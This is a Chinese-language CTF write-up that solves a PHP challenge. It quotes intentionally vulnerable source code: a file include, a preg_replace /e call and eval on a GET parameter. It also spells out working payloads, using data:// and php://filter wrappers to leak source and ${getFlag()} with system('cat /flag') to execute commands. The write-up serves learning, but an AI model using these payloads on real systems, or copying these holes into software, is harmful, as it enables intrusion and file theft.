error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
这道题起初看着代码量小,天真的我还觉得简单,可不知道的小知识点还真的挺多的。
index.php中的代码做过类似的,轻车熟路直接传payload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
拿到next.php的源码;
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
正片才刚刚开始。。。
首先没看懂foreach($_GET as $re => $str)
百度到了一段代码秒懂:
$row=array('one'=>1,'two'=>2);
foreach($row as $key=>$val){
echo $key.'--'.$val;
#one--1
#two--2
而题目是foreach($_GET as $re => $str)
,假设用GET方法传一个index.php?hello=world
那么$re=hello,$str=world
然后是preg_replace函数的/e漏洞,可是这里是strtolower("\\1")
,怎么才能让他变成我们要执行的代码呢?
\1
表示取出正则匹配后的第一个子匹配中的第一项,strtolower()的作用是把大写字母转换为小写字母。
所以我们构造$re=(\S*)
,这样正则就变成了preg_replace('/(\S*)/ei','strtolower("\\1")',$str);
,\1
就会匹配(\S*)
,也就是$str
。
我们本地测试一下效果:
$str = phpinfo();
echo preg_replace('/(\S*)/ei','strtolower("\\1")',$str);
next.php?(\S*)=${getFlag()}&cmd=system('cat /flag');
这样$re = (\\S*)
, $str = getFlag()
,而函数getFlag() 的参数cmd = system('cat /flag');
。
即执行了
→echo preg_replace('/(\S*)/ei','strtolower("\\1")',@eval(system('cat /flag');));
→echo @eval(system('cat /flag');)
最后我还有个疑问,为啥是${getFlag()}
,而不是getFlag()
,
举个栗子,有双引号:
在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。
而题目中\1
就是被双引号包围起来的,再引入PHP中的可变变量,$$a = ${$a},这样${getFlag()}
中的getFlag()才会被解析为函数,否则就输出getFlag()字符串了。